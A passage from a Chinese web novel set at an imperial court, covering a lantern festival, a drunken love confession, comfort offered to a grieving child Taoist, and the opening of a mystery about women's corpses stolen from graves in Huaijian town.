不过一会儿,少女就端着药过来了。药黑漆漆的,还有些烫,少女一口一口吹凉再将药喂给乞儿。
等一碗药下肚,少女惊讶地道:“真是奇了,竟然还有人能面不改色地把我爹配的药喝下去。”
乞儿还是愣愣的,没有说话,少女笑道:“你可别装哑巴了,你叫什么名字?”
乞儿愣了很久,才道:“宁千山。”
“宁千山?我叫褚月。”
说罢,少女转身要离开,乞儿捏住了她的衣摆,又后知后觉的发觉自己弄脏了她的衣裳,道:“抱歉,我只是想给你这个……”
他摊开脏兮兮又满是冻疮的手,里面是一个被攥得皱巴巴的糖果。
……
“所以,你便无论如何也要帮褚姑娘的忙?为了报恩?”温余撑着脑袋,似乎还沉浸在那个故事里。
宁千山点头。启蛰又问:“那,之后是为什么……”
“郑钧义,他的妻子生病了,急需用药,可那药又十分紧缺,只有你们的医馆剩了些,他问你父母要,但你父母为了救一位更严重的患者,硬生生拒绝了他。如此便和他结下了梁子,直到后来,他公报私仇,以你们以次充好,害死病人为由,将你们父母送去山中采石。”
“最后,你们父亲被落石砸死,你们母亲积劳成疾没能挺过一年。”
启蛰手指交叉在一起,紧紧地扣着自己的指缝,他咬了咬嘴唇,许久才道:“所以,我们才会被关在笼子里,才会遇到贺大人……”
温余见启蛰难受,伸手拍了拍他的背,听起来启蛰的父母是一对极好的大夫,可偏偏遇上了郑钧义这样的官员,才使得家破人亡。
“我自从被你们救过后就一直想要报答你们,可等我回来一打听才知道你们父母被杀,你被人接走,而她……”宁千山越过一排又一排的花灯看向那个言笑晏晏的女子,“开了一家赌坊,成了老板。我不知道她是怎么做到的,但我知道她一定受了很多苦。”
所以,他们才会去找郑钧义报仇,才会进入红楼。
温余垂下眼,半晌没有说话。
忽然,宁千山的背直了起来,温余好奇去看才发现是他与人群中的褚月对上了目光,褚月正向他们走来,身后跟着的还有圣阳。
两人很快的跃上了屋檐,温余诧异道:“怎么只有我不会啊!?”
“那是你笨!”启蛰立刻接道。
“我……不公平!”温余气鼓鼓地看向启蛰,却感觉脸被捏了一下,回头便看到了褚月的笑脸。
褚月道:“诶呦,不要生气了嘛,阿余妹妹最聪明了!”
看着褚月的笑颜,温余不由鼻头泛酸,“褚月姐姐对我最好了!”
她将脸埋在褚月身上不停地蹭着,启蛰看不下去,喊道:“你怎么刚缠过我家大人又缠我姐姐?朝三暮四!”
温余没理他,而是继续在褚月身上蹭着,“不管,因为我喜欢褚月姐姐。”
启蛰切了一声,一旁看着的圣阳则是起了一身鸡皮疙瘩:“真肉麻,你对谁都这样吗?”
温余点点头,“对啊,你也想要?”
圣阳缩了缩,“本宫不要。”
“诶,看他们又放灯了!我们也去放灯吧!”褚月指了指远处放灯的人们。
沉默许久的宁千山开口道:“你们别动,我去拿。”
说罢,他跃下房檐,没用多少时间便拿了五个祈愿灯过来。
“来,一人一个!”褚月给每个人都分了,接过宁千山顺道拿来的笔,“可以写愿望了!”
圣阳率先动笔写上:驰骋沙场,让所有人的刮目相看!最后还特别注明一句:特别是贺扶和温余!
启蛰紧随其后:希望我的家人朋友都能长命百岁,希望我能成为有名的侠士,名扬天下!
褚月写了:希望财源滚滚,希望启蛰能过得开心快乐。
温余拿着笔愣了半晌,想要的太多竟一时不知道要写什么。
褚月写完后侧头想去看别人的,宁千山动作迅速地燃了火,将自己的灯放上天去。
褚月扁扁嘴:“不看就不看嘛!”
说罢,她也将灯放上天际。
等启蛰和圣阳都将灯放了上去,温余还在奋笔疾书。
“哇,你这是要把灯写满吗?”启蛰凑上前看了看,震惊道,“财源滚滚,平步青云,长命百岁……”<
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p>“天呐,你真是够贪心的!”
温余咳了一声,“反正写着玩嘛,说不定就能实现那么几个!”
说罢,她也将灯放了上去。
五盏祈愿灯飘飘扬扬地往远处飞去,最后和其余人的祈愿灯汇合。
“希望我的愿望都能实现!”温余双手合十十分虔诚。
启蛰本觉得无聊但看褚月也跟着做后叹了口气也跟着双手合十,看到身边四个双手合十的人,圣阳啧了一声后也跟着做。
“好,希望我们所有的愿望都能实现!”温余一拍手掌。
褚月也默念完,又凑到宁千山身边问:“你究竟写了什么?”
宁千山还是没有说。
与此同时,高天之际,一盏祈愿灯正往更远处飞去。上面用生疏的笔触写着:能够保护她,和她永远在一起。
……
后半夜,有些凉了。
贺扶见温余几人还未回客堂休息便拿了毯子来到外面寻找他们。最后在观门的房檐上看到横七竖八躺着的五人。
他飞身上去,只见一个个都双颊酡红,看来是喝了不少酒。
他无奈叹了口气后一个个将毯子盖在他们身上。
“贺大人……”温余忽的叫了一声,贺扶转头去看,只见温余猛得一挺身坐了起来。
醉醺醺的……
贺扶笑了一声,明知她此刻脑子不清晰还是问道:“怎么喝这么多酒?”
温余没有回答他,而是双手捧着他的脸。因为过于用力,还发出“啪”的一声。贺扶也不恼,只是眼带笑意看着她:“怎么了?”
“我有话想对你说。”温余嘟囔道。
贺扶凑近了些,“嗯,你说。”
“贺扶!”温余提高声音叫了一声,贺扶认真听着,“你要好好的,不要赶我们走。”
贺扶失笑,醉了都还在想这事,“好好。”
“你也不要难过,俗话说得好,天下没有不散的宴席。”
贺扶知道,她这是在安慰自己。他继续点头:“嗯,我知道。”
“我,想一直陪在你身边。”温余的声音很小,饶是贺扶靠得这般近都没有听清。
他不由靠得更近了些,但还没等到温余说话,就感到自己脸颊上传来柔软的触感,凉凉的。
温余亲了自己……?!
当贺扶正告诉自己这是温余喝多了才会做出这样的事情时,温余又道:“我想陪在你身边,因为,我喜欢你。”
我喜欢你……喜欢你……喜欢……
远处又有一朵烟火炸开,光亮中,贺扶的侧脸显得格外柔和。
“我好喜欢你啊!”温余又道。
“特别喜欢你,你也要喜欢我,你不能不喜欢我……”
说着,温余又想往前凑,贺扶十分迅速的挡住她的脸,手掌却感受到一阵湿软。
他心中生出一丝痒意,随后温余靠在他肩头睡过去,贺扶僵硬地帮他盖上毯子,却见她袖子上印上了字,是十分秀气的小楷,行笔间与他有些相似。
在一行一行的求财中,隐藏着一句:我想一直待在贺大人身边,无论前方艰难险阻,都想与他并肩同行。
这一夜,贺扶坐在房檐上盯着远处星星点点的祈愿灯,看了许久,许久。
67. 红叶观(末)
翌日,温余醒来时早已回到了床上,被子也被平整的盖在身上。
她坐起身来揉了揉脑袋,觉得奇怪:这次醉酒竟然没有头疼?莫不是我的酒量变好了?
她惊喜从床上跳起,但下一刻就觉得两眼发黑,等她扶着床缓一会儿后换好衣服打算去找贺扶他们。
一打开门,她便看到坐在门口台阶上的道宁,像是温余第一次和他搭话那般,只是这次他只是呆呆看着前头。
“道宁小道长?”温余上前坐在他身边,“怎么坐在这里?”
道宁转头看向温余,看了好一会儿,温余觉得奇怪,正要问是不是自己脸上有什么东西的时候,他突然扑进了自己怀里。
热热小小的一团,在她怀里颤抖着。
“你……怎么了?”
道宁大声地哭着,像是受了天大的委屈。
温余猜他或许是因为昨日道生的死,看他对道生的依赖,他好像很喜欢那位师兄。
温余没有说话,只是轻轻顺着他单薄的脊背。
人总是要学会面对死亡的。
等道宁哭够了,他沙哑地道:“阿余姐姐,我以后是不是见不到师兄了?”
“我好想他,想让他给我带山下的糖果,想让他给我讲故事,可是师叔他说,师兄羽化了,我不要师兄羽化,我想让师兄陪着我。”
温余拍拍他,柔声道:“你师兄当然会陪着你的。”
“你师叔说他羽化了,羽化不就是成仙的意思吗?那就是他变成了神仙,变成神仙之后呢就要施云布雨,拯救苍生,很忙的!所以,他没办法常常回来看你,但他那么在乎你,一定会回来看你的,只是需要一些时间。”
道宁声音软软的:“那,我可以看到师兄吗?”
“凡人是看不到神仙的,但神仙神通广大,只要你仔细观察,像风、雨、花、星星……还有好多好多都是他回来看你的证据。人死了,归于大地,从此以后这世上的所有东西,都会有他的影子。”
道宁把头从温余怀里抬起,“可我还有好多话想和师兄说。”
温余思索了片刻,忽然抱着道宁站起来,他惊呼一声后问:“阿余姐姐要做什么?”
温余将手指竖在唇上,“保密!”
她带着道宁回到了小蓬莱,那里还有她昨日砍倒摆在地上的桂花树。她挑选了一棵完好的树,将它搬出来。
接着,她在道宁不解的目光中拿出了刻刀。
木屑纷飞间,一个木质的罐子就出现在了道宁眼前。他接过罐子问:“这是做什么的?”
温余一边为那个罐子做盖,一边道:“日后你若是有想说的话,就写在纸条上放进罐子里,这样你师兄每次来看你的时候就可以知道你想说什么了!”
道宁看起来十分惊喜,一双葡萄般的眼睛瞪得极大,“当真能看到?”
温余笑道:“当然能,我保证!”
或许在很多年后,他也会明白生死之问,知道自己说得都是假的,但至少在天真单纯的童年,能有一个值得依托的幻想吧。
至少,不会像她一样,太早接受残酷的事实。
道宁抱着罐子,看着温余为罐子盖上匹配的盖子。她叮嘱道:“你要记得,不能让别人看到哦!”
道宁重重点头:“不会的。”
温余微笑之余又想起昨日发生的种种,心中仍有疑惑:要说道生与章执有勾结,可章执几乎很少来这里,与道生只是一次见,道生怎么可能就这么轻易地给他卖命?
若不是章执暗中在崇安发展了势力,那便就是他用什么让道生无法拒绝的理由。
“小道宁。”温余叫了正在抱着罐子左看右看的道宁一声,随后将他抱在怀里坐下,“你能和我说说有关你师兄的事情吗?”
道宁将罐子放在自己腿上,为自己在温余腿上挑选了一个舒适些的姿势才道:“自从我记事起,师兄就一直在观里了。他是我们观里下山次数最多的人,他经常会下山给我们带好吃的,有铺子里卖的小食之类,我们很少吃到的。”
“那,你可知道他的身世?”温余又问。
道宁思索了很久才想起:“对了,我之前听师父说过,师兄是他下山时捡回来的。”
捡回来的?那就是无父无母。温余在脑中划掉了拿父母威胁这个可能。
“还有什么吗?”
道宁皱着眉头想了很久,到最后一张小脸都皱了起来也没有想起些什么。
“你们观里的事情,你知不知道一些……别人不知道的?”
道宁不解道:“阿余姐姐问这个做什么?”
温余轻咳一声,撒谎道:“我有些好奇,不过你放心,我绝对不会告诉别人的!”
道宁鼓起脸,伸出一支肉嘟嘟的小指道:“那我们拉钩,不可以告诉别人!”
温余松了口气,看来他是知道些的。
温余伸出手指,“好,拉钩。”
拉过钩后,道宁才愿意说:“几个月前师兄带我去师父的屋子拿工具的时候听到过师父和师叔谈话,说我们观里的一件宝物被偷走了。”
“宝物?什么宝物?”温余问。
道宁却摇了摇头,“我不知道,但听他们说好像很重要的样子,而且在听到这个消息之后师兄也特别害怕,可是我问他,他却说这不是小孩子该知道的。”
温余沉默了一阵后:“再没有别的了?”
道宁摇头,“没有了。”
“那好吧,我先抱你回去。”温余站起身,道宁顺势揽住他的脖子,声音小小的,问:“阿余姐姐,你是不是要走了啊?”
“是啊。”
道宁又问:“那你还会回来吗?”
温余腾出一只手来捏捏他的脸,“一定会的!”
道宁惊喜道:“真的吗?”
温余笑着点头,反正日后启蛰一定会回来看褚月的,说不准下次来还能吃上褚月的喜酒呢!
到时候她当然也要更过来。
“那你一定要来看我!我给你准备好多好多好吃的招待你!”道宁笑得开心,“还要带那两个哥哥过来!”
温余点头,“好好好,那到时候我也给你带其他地方的食物,让你足不出户吃遍天下美食!”
道宁笑得更开心了,“好!”
两人边走边聊,不一会儿就到了道宁的房间
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,温余将他安稳放在地上,正准备走,他又叫住了自己。
“阿余姐姐等一等,我去给你拿个东西!”
道宁倒腾着小腿迈过门槛,进去了好一会儿才兴冲冲地出来,他将手里的小木牌放在温余手心:“这个是我的护身符,送给你。”
温余将它推了回去:“这种东西很珍贵的,你还是自己留着吧!”
道宁头摇得像拨浪鼓,“不要不要,我就要送给你。阿余姐姐要是不想要,我可就哭啦!”
温余蹲下身,刮了刮他鼻子:“这一招跟谁学的?”
道宁嘿嘿笑了两声,“之前我每次一哭师兄就什么都答应我了!……阿余姐姐把头低一低,我帮你带上。”
温余听话低头,道宁踮起脚尖为温余带上护身符。他满意地看看自己的杰作后,道:“这样阿余姐姐就能平安了!”
在温余要走的时候,道宁又一次上前拉住了她。她转头耐心道:“还有什么要送给我呀?”
谁知道宁神神秘秘地说:“临走之前我还要告诉阿余姐姐一个秘密!”
温余倒是来了兴趣,“什么秘密?”
“昨天晚上,是那位贺大人抱你回去的!而且他还……还在你头上亲了一口,就像这样!”
道宁突然蹦起来在温余额上落下一吻。
温余登时愣住,“你说……什么?”
一瞬间,昨夜的记忆涌入脑海。“喜欢你”、“并肩同行”、“不许不喜欢我”……
她猛得捂住脸,怎么说出来了?她还想找一个更正式的时候呢!
“阿余姐姐不要害羞。”
道宁狡黠地笑笑,回头向自己的房间跑去,在门前他又忽然转身:“阿余姐姐记得想我啊!”
……
直到来到马车旁,温余才从混沌的思考中走出来。
贺扶从马车内探出头来,“怎么这么晚才来?”
温余有些愣愣的,没有回答。贺扶疑惑地将手附在她额上,探了探她的温度。
心想不应该啊,昨夜他分明将她的被角给掖好了,窗户什么的也都关好了,应该不会着凉吧?
没有发觉异常后,他才收回手。
“刚刚我去和道宁道别了,他和我说……我突然想起……”温余突然结巴起来。
贺扶耐心等着她说完。
温余鼓起勇气道:“他说……你昨天晚上亲我了!”
“……”
贺扶的脸肉眼可见的变红,他轻咳几声,“我……昨夜,是你……”
温余也不敢看贺扶的脸,“我昨夜是不是还说了,喜欢你?”
“酒后戏言……我并没有放在心上。”
“不是戏言!那是我的真心话,我是真的喜欢……”
“喜欢什么?”启蛰抱着好几个包袱不知从哪里钻出来。
他看看贺扶又看看温余,双颊都泛着可以的红,“你们的脸为何这般红?”
说罢,他将怀中的包袱放好,左看右看,又迎着风口站了一会儿,不解道:“也不是很冷啊!”
温余尴尬地搓搓脸,转移话题道:“你这包袱里都是什么啊?怎么拿这么多?”
68. 丢尸案(起)
启蛰似乎有些无奈,“这都是我姐姐他们带来的,说是些崇安的特产。”
温余啧啧两声,有亲人疼爱就是好。
“对了,你的东西找到了吗?”似乎是为了缓解尴尬,贺扶也开口问道。
启蛰摇摇头:“没有,不知道为什么就怎么都找不到,总不能被丢在路上了吧?”
“什么东西?”温余上车后回头问道。
“红绳,今天一早起来就没了,也不知道去哪儿了。”启蛰拍了拍衣裳蓄势待发。
“叫你丢三落四,找不到东西了吧?”温余钻进车里,只留一个头在外面,冲启蛰做了个鬼脸。
启蛰切了一声,“不就是个红绳吗,我回去自己也求!说不准还比这里的灵呢!”
说完,他又忽然道:“哦,对了。我刚刚回来的路上看到幸丞相了!”
贺扶哦一声,问:“师父他还不打算走?”
启蛰答道:“幸丞相说要帮清徽道长操办昨晚那道士的后事,还安慰他说有他在朝廷不会追究他们的过错,我想应该是关于贺大人的,朝廷命官差点在这里被害,朝廷很难不追究吧?”
闻言,贺扶点头道:“既如此,那我们就走吧。”
启蛰挥起马鞭,车轮咕噜噜转着。
行过一片红枫,温余问道:“贺大人可知这红叶观有什么宝物?”
“宝物?”贺扶先是想了一阵才道,“说到宝物,红叶观最为贵重的便是前朝太子在此居住时留下的红枫石,其质清透如水晶,外表呈枫红色,故有太子赐名为‘红枫石’,据说这宝物得了太子赐福,象征王朝不败,天下不分。圣上本是想拿去宫中的,但又念及这东西本就是生在红叶观的,便又将它留在了这里,由观内道士世代看管。”
温余缓缓点头,“原来如此。”
贺扶莞尔一笑,问:“阿蓁问这个做什么?”
“临走前我问过道宁,他说观内丢了一件宝物,所以我想会不会是你说的那个红枫石?”温余将方才道宁告诉自己的一一转述给贺扶。
贺扶似是诧异:“若是这东西真的丢了,那红叶观的麻烦就大了。”
温余激动起来:“所以说首辅大人可能就是利用这一点威胁道生,他才会冒死来阻止谢旧说出真相。”
贺扶沉默了,他看向窗外逐渐后退的景色,此时已是一片葱绿。
过了很久,他道:“我会向他问清楚的。”
……
一别近两月,绍王府中的树叶也黄了下来,温余回府中后第一件事就是去葛巾院子里找她。
她看到葛巾的时候葛巾正坐在院中廊下看书,见到温余回来一阵惊喜后将书放在一旁的桌上。
她很快地走到温余面前,喜道:“你们什么时候回来的?贺大人和启蛰呢?”
温余解释道:“出了些事情,贺大人先去宫里了,启蛰也跟着去了。”
“出事?”看样子葛巾还不知道崇安发生的事情,“出什么事了?”
温余将葛巾拉着坐回石凳上,不经意间瞥了一眼桌上的书,诧异道:“这是什么书?这东西我怎么看不懂?”
葛巾闻言立刻将书收起,道:“没什么,你不是说出事了吗?究竟出什么事了?”
温余也没多在意,道:“首辅大人他想要杀贺大人。”
“什么?!”葛巾一拍桌子,猛得站了起来。
“不可能的,他不是这样的人!”葛巾情绪忽然变得激动起来,她竟没有丝毫犹豫就帮章执辩解。
可在温余的印象里,她似乎和首辅大人没什么交集?怎么会这么激动?
温余安抚道:“你先别激动,我也觉得此事存疑,但首辅大人一定与此事有关,若他不是背后操控之人,那便还有另一人了。”
葛巾意识到自己的情绪太过明显,很快的转变了表情,“你是有看到什么吗?”
温余将红叶观发生的事情都告诉了葛巾,她沉默了许久。
“对了,这个是我们给你带来的!”温余见她心情不好便拿出了从红叶观求来的红绳递给她。
葛巾一顿后接过,问:“这是什么?”
“红叶观的赐福红绳。”温余道。
葛巾看着那红绳,似乎有些愣神。良久,温余在她眼前挥了挥手她才回过神来。
“对了,这些日子你一个人在家,可还好?有没有发生什么事?有没有人欺负你?”温余笑问。
葛巾表情有些不自然,“当然没有,我一个人在家就看看书,浇浇花,你院前的那棵秋海棠都已经开了,快些去看看吧。”
听葛巾似乎有赶人的意思,温余觉得有些奇怪,但还是点头:“那好吧,我就先走了,你继续看书……?”
葛巾微笑着点头后转身向屋内走去,温余站在原地看着她进了门,“你怎么还不走?”
温余哦一声,正要转头却忽然想起一件事,她抱歉道:“葛巾姐姐。”
葛巾回道:“怎么了?还有什么事?”
“你送我的那把匕首被我给丢了,抱歉啊。”
葛巾轻笑一声,“没事,那不是什么贵重的东西,你若是还想要我给你再打一把。”
“你不生气就好,就不麻烦了。”
闻言,葛巾也只是笑笑转头就关上了门。
之所以她要说那匕首的事情,是因为那晚她和圣阳遇到的且末人。那领头的为什么会在看到匕首后会愣住?之后也没有追上来?可是那匕首有问题?
可那匕首可是葛巾打的,那就说明……葛巾会和且末人有联系?
念此,温余飞快地跑回房间,拿起笔就给贺扶写信去问葛巾的身世。
左晋善用剑,就算是要学打制武器也多为剑器,而葛巾却会打刀,还是且末的弯刀?
信写好,墨渍还未干透,温余便听门口传来吱呀一声。她抬头,一个熟悉的身影映入她的眼帘。
“尚公子?”温余诧异道。
尚卿今日穿了一身紫,大摇大摆地走向温余,凑上前看了看她正在晾的信纸,“葛巾?那个女郎?”
“你知道?”温余有些期待。
尚卿一摊手:“不知道,我是听说你回来了,前来
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看你的,又不是来为你解惑的。”
温余一瞬间泄了气,“好吧,那我还是问贺大人好了。”
尚卿在温余身边坐下,十分自觉地为自己斟了杯茶,“不过,她倒是有趣得很。”
温余一边将信装在信筒里一边问:“怎么说?”
尚卿唇角微微勾起:“当然是因为她曾经对六公主做的一些事了。”
“六公主?”温余也坐下,“她做什么了?”
尚卿用杯子把桌案敲出了声,“在学堂之时,她曾经泼过六公主一杯水。”
“为什么?”温余觉得更怪了,之前她与圣阳闹矛盾,葛巾都是劝着的,似乎很怕惹上麻烦,可她又为何要去和六公主硬碰硬?
整个左晋的人都是知道,那六公主乃是皇后亲出的公主,宫中所有人都把她当宝贝似得供着,在她面前硬声说话都没人敢做,葛巾竟然会泼她水?
这也不似她的作风啊?
“当然是因为……”尚卿的语气忽然神秘起来,温余不自觉地凑近了他,随后又发觉不妥退后了些,“因为什么?别卖关子了!”
尚卿纤长的食指沾了一滴水,在桌案上写了一个“章”字。
“首辅大人?”温余惊了,再加上方才葛巾听闻自己说章执时的样子,莫不是她和章执真的有什么关系?
“他们是什么关系?”温余更好奇了。
“这件事很秘密,你凑近些,我再告诉你。”
涉及当朝首辅,确实很重要,谁知温余刚刚凑近便见尚卿在离自己不过几寸的地方摇了摇头,“我也不知道。”
温余这才反应过来,怒道:“骗我?”
尚卿却粲然道:“我真的不知道,不过我可以带你去一个地方,那里或许会有答案。”
“什么地方?”温余问。
“京城外三十里,有一个镇子,叫做怀剑镇,葛巾曾在那里待过一段时间。”
尚卿站起身理理衣摆,“走吧,正巧我的马车停在府外。”
温余也跟着站起身,“等等,我先给贺大人留封信!”
谁知,尚卿一把扯过温余,带着她就往外走,“你怎么什么都要和他说?他是你夫君吗?有什么动作都要告知一声?”
……
坐上马车后,温余感受着马车晃动,忍了好久才道:“你这熏香是不是有些太……冲了?”
一股子甜到发腻的味道,一入鼻便让人忍不住想吐,更别说还是在摇摇晃晃的马车上了。
尚卿却丝毫没有受影响,不知道是他本身就喜欢这气味还是早就已经习惯了这味道,“怎么,不好闻吗?”
温余十分诚实地摇摇头。
尚卿又道:“他们也说不好闻。”
温余不知他所说的“他们”是谁,朋友?下属?
“那你还要薰这个?”
尚卿往后靠了靠,“因为我母亲喜欢。”
温余沉默了一会儿,点点头,没有再说话。
似乎是觉得空气太过寂静,尚卿又再次开口:“你可知这怀剑镇为何要叫这个名字?”
69. 丢尸案(一)
“为什么?”温余十分配合地问。
尚卿笑道:“这地方原本就是个打制刀剑的镇子,如今工造司许多的工匠都是从那镇子上出来的。不过很久之前,它还叫做铸剑镇,只是有一次,一个武痴慕名去了那镇子,在那里寻了一把堪称削铁如泥的宝剑。可是,那武痴只挥了几下那剑便断了,怒而去找说法,却被那卖剑的人骂了回去,说他力气太大才折了剑。那武痴气不过便破口大骂道‘什么铸剑镇,这就是个坏剑镇嘛!’之后,又因为那武痴又四处游走,将这消息告诉了不少人,从此以后那镇子便一传十十传百地叫成了‘坏剑镇’。”
“后来传到了镇长的耳朵里,他自然不能让这样的恶名流传下去,便道那武痴说的是怀剑镇,而非坏剑镇,是称赞镇中工匠皆怀宝剑,是他们传错了,幸运的是,那武痴在买过剑后便没有再出现,也没有人反驳他们。所以,从这之后能这个说法便流传开来,自然也就顺势将镇子名改成了怀剑镇。”
……
一个故事讲下来,温余有些昏昏欲睡。
尚卿正要叫醒她,车身却忽然一震。
温余立刻惊醒,只见尚卿带着愠色道:“发生了何事?”
车外的马夫怯怯地道:“王爷,是……圣阳郡主。”
圣阳?
温余探出头去,果真见圣阳骑着一匹红马,高傲地看着马夫。一袭暗紫色劲装,乌木般的长发被高高束起,利落就英气,但奇怪的是她身后竟没有下属跟着,看样子是从宫中来的,也是要出城。
“圣阳郡主!”温余向她招招手。
圣阳眼中闪过一丝诧异:“你怎么和他待在一起?”
温余顿了顿,信口道:“查案。”
“查案?”圣阳下了马向温余走来,问:“你也是要去查怀剑镇的案子?”
温余啊了一声,她方才只是信口胡说了一个理由,没想到真的撞上了。
“啊什么?你不是说要去查案吗?你不会还没搞清楚状况吧?”圣阳的目光带上了些审视。
温余解释道:“当然没有,只是……你也要去查案吗?”
圣阳沉默了一会儿,似乎有些别扭,隔了良久才道:“是。”
温余觉得怪,正打算问,谁知圣阳伸手就要把她给拉下车。
尚卿立刻伸手拉住温余的胳膊,眯了眯眼,道:“圣阳郡主这是要抢人?”
圣阳皱眉看着对面不怀好意笑着的男人。她为人做事向来坦坦荡荡,自然也喜欢坦坦荡荡的人,最为讨厌在背后搞小动作的人。而尚卿这种有什么话都不当面说,非要在背后阴恻恻地盯着你的人着实讨厌的很。
若非必要她绝对不会和这样的人有所交集,可偏偏那些人要给自己和他安一个“双煞”的名头,着实是让她觉得恶心。
自然,她对尚卿的态度不会很好。
“本宫做事岂容你插手?”圣阳眸光不善。
尚卿自然也不遑多让,“圣阳郡主做事本王自然不会插手,可是当着本王的面抢本王车里的人,怕是有些不妥吧?”
尚卿眯起眼,温余甚至能隐隐约约看到两人目光交汇处的火光。
她伸手将两人隔断:“既然是同路那直接走不就是了?大家也不必争了!”
她如同教书先生谆谆教导一般地道:“事分轻重缓急,如今查案一事应当更为重要吧?”
此话一出,尚卿没有什么动作,反倒是平日里最不愿服输的圣阳放开了手,她最后看了温余一眼,“那你们快些,怀剑镇出了大问题。”
见圣阳眸色深沉,似乎很是着急。她上马后便没有回头一次,直直朝着城门奔去,路边有不少摊子遭了殃,但又碍于对方的身份不敢说一句话。
“尚公子稍等,我先下去一下。”
温余下了车,帮那些倒在马蹄下的摊贩扶了摊子,还替圣阳向他们表了歉意。那些摊贩似是惊讶,想温余应当是圣阳的人,也不敢说什么,即使损失了不少,但还是笑着道谢。
温余又看了看那些被砸坏的东西。只思索片刻后便从怀中拿出钱袋,一个一个将那些摊贩的损失补齐。
等她回到马车旁后,尚卿正撩开帘子看着她。
“可以走了。”温余上了马车,道。
尚卿看着她似笑非笑,温余看得奇怪,问:“看我做什么?”
“你这样可是毁了圣阳的‘好名声’啊!”尚卿感叹道。
这所谓“好名声”怕是句反话,温余整理自己钱袋的动作慢了慢,“这样的名声,想必她也不需要。”
“哦?你怎么知道她不需要?若是我说,她就是想要这个名头呢?这般骄纵蛮横,可是没有人那个男子愿意娶她进门的。”尚卿的眸光玩味。
“你的意思是说,长公主?”温余几乎是立刻想到之前葛巾曾说过关于长公主与那个男人的婚事。猜测会不会是圣阳担心自己也被乱点鸳鸯才做出这般在宫中人看来离经叛道的事情的?
尚卿似乎是惊讶了一瞬,后又颇具深意地道了一声:“没想到,葛巾会对你说这些啊……”
温余听出了话里有话,蹙眉问:“为什么葛巾不会对我说这些?”
“没什么,对了方才圣阳说的疑案,你可知道?”尚卿不答反问。
温余笃定尚卿话外别有深意,但看他没有要说的意思,也只能在此停下,反正此次前去怀剑镇也是为了调查葛巾的身世,早晚都会知道的。
于是,她便问:“不知道,我方才胡诌的。”
“那你运气还真好。”尚卿感叹道。
温余无奈:“发生疑案,有人横死枉死,这可不是什么好运气。你知道这案子?还是快些告诉我吧!”
尚卿撩开帘子往外看了一眼,只刚刚聊天的时间马车就驶出了京城,看来在天黑之前能够赶到怀剑镇。
“这件事,要从三个月前说起了。”尚卿看回温余,一双杏眼带着笑,与他这时而咄咄逼人的性子极其不符。
他说圣阳如此行事事出有因,那他呢?他可是也有某种缘由,才使得他行事如此乖张?还是说,仅仅只是因为他对贺扶的妒?
思索间,尚卿清亮的声音响起:“三个月前,镇上一家普通铁匠铺的父母丧子,打算将儿子与早逝的儿媳合葬,但在挖开坟后却没看到儿媳的尸体。有人怀疑是盗墓贼,但奇怪的是坟墓里的陪葬竟一个都没有少。”
“寻常盗墓贼若是要盗墓定是图财,可那挖坟的竟只是偷走了尸体。那一家子人都觉得奇怪,就上府衙报官,但官府经过一番调查却什么都没有发现,那家人无钱无势,更没有过多的精力追查此事,便没有再过多纠缠,之后那件事就没有再提起。”
“直到十天之后。”尚卿停顿了一下,语气也变得诡谲,“一个中年铁匠想给自己妻子迁坟
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,竟也发现坟墓里的尸体不翼而飞。一连两起怪事发生,在那一片坟里埋了人的人家都纷纷前去查看,不看不知道,果真是有许多人家里的逝者尸体消失了。众人接连报官,再加近日一位商贾小女儿离世,竟是在下葬当日丢了尸首。如此大胆,简直是在向府衙挑衅,所以当地官员便开始彻查,直到现在也没有查出什么线索来。”
“那这些不见的尸体可有何相似之处?”温余听完后正色问道。
尚卿定声道:“上有花甲下至啮齿,唯一相同的一点便是,她们都是女子。”
“都是女子?”温余心里不由泛起了一股不安的情绪。她依稀记得棺材铺老伯曾为她讲过有人转门偷窃女子尸首,与患有隐疾的人买卖交易。
若真是这样,也太可怕了吧!
“这么久都没有结果,朝中可有派官员去查?”天子脚下出现这样诡谲的案件,朝廷怎么会视若无睹?
尚卿又看了看窗外后退的风景,依稀还能看到前方奔过的马蹄印记,“当然有派,这就是圣阳为何要这么着急地往那里赶的原因了。”
“为何?派去的人是安成王府的人?”温余问道。
尚卿否定道:“自然不是,安成王府的人可不会管这小地方的事情。当时这件事传入朝中,请缨的是霁尘君宋拿云。”
“霁尘君?”温余诧异道。
“否则,圣阳何必那般着急?”尚卿带着笑意看向温余,“想必葛巾应该也将她们之间的旧事告诉你了吧?圣阳此次外出,安成王府的人怕是都不知呢。”
尚卿言语间似是感叹,温余却是担心:“看方才圣阳郡主的模样,可是霁尘君出了什么事?”
“没什么事,就是……她在前些日子,失去了音信。”
“这还叫没什么事!?”温余猛得站起,脑袋撞在车顶上发出了清脆的一声响。
尚卿笑了。
“王爷,可是出什么事了?”车外的马夫关切问道。
温余也顾不上脑袋的痛,掀开帘子对马夫道:“我们能不能快些?还有多长时间才能到?”
尚卿伸手将温余拉了回来,抢先答道:“半个时辰。”
“半个时辰?会不会太慢了?”温余坐回位置,双手不自觉地搅住衣摆。
“你就算现在飞过去也没什么用,宋拿云的情况现在谁都不知道。”尚卿似乎是在安慰,但言语间却没有丝毫安慰的意思。
隔了半晌,温余对尚卿伸出一只手,将食指和拇指捏起来,轻声道:“我知道再快也没什么用,但能不能再快那么一点点……?”
圣阳方才跑得那么快,若是一不留神中了人家的圈套,那岂不是赔了夫人又折兵?
尚卿盯着温余看了半晌,就当她认为尚卿不会回答的时候,那道清亮的声音再次响起,“你确定要快?”
温余重重点头。
尚卿笑了一声,对外面道:“全速往怀剑镇赶!”
车外一声“是”落下,温余只觉得一瞬停顿,随后便是腾空般的感觉。
一刹间,车内的香炉与坐垫都挪了位置。温余没反应过来就已经被尚卿揽住了肩,两人的距离忽然缩短,她下意识地道歉,却听对方轻笑着说:“你不是说要快的吗?”
马车摇摇晃晃,又接上一个急转弯,温余一时有些想吐。
她说要快,也不知道还能这么快啊!!!
70. 丢尸案(二)
另一边,绍王府的马车从宫中驶出,一路平稳的来到永安街上,车帘上朱红的流苏随着车轮的滚动随意地晃动着。
透过飘逸的车帘,隐隐约约能看到车内燃着昏黄的灯。灯上,是正翻阅卷宗的贺扶。
一回到京城他便前去宫中寻章执,他想去问他为何,为何要和谢旧勾结,为何要杀自己?
他真的和剑兰花纹组织有关系吗?他的目的究竟是什么?
可是他在首辅府等了许久,章执始终闭门不见。
无功而返,贺扶只觉得自己的脑子乱得离谱。
若是章执真是剑兰花纹组织的头目,那十五年前的绍王府案定不是他做的,年龄完全对不上。
那就说明在章执之前还有一人,掌管此组织,那又会是谁?
车帘被风吹起,一阵清香闯入贺扶心脾,将他的思绪拉回了些。
